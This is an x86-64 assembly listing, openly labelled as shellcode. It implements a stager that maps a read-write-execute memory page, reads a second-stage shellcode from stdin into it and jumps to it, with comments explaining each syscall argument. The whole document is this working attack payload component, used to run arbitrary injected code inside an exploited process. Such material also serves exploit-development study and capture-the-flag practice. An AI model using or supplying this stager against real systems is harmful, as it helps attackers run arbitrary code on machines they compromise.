x86-64 shellcode to read another shellcode from stdin and execute it

shellcode loader

BITS 64


; syscall:
;
;   ptr = mmap(NULL, size, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0)
;
;
; arguments:
;
;   1. argument: rdi = NULL
;   2. argument: rsi = 4096
;   3. argument: rdx = 7
;   4. argument: r10 = 34
;   5. argument: r8  = -1
;   6. argument: r9  = 0
;
; syscall sys_mmap
;   rax = 9


xor rdi, rdi
mov rsi, 0x1000
mov rdx, 0x7
mov r10, 0x22
xor r8, r8
;mov r8d,0xffffffff
dec r8

xor r9, r9

mov rax, 9
syscall



; syscall:
;
;   read(fd, *buf, count)
;
;
; arguments:
;
;   1. argument: rdi = stdin = 0
;   2. argument: rsi = mmap buffer address
;   3. argument: rdx = 4096
;
; syscall sys_read
;   rax = 0

xchg rsi, rdx
mov rsi, rax

xor rax, rax
syscall

call rsi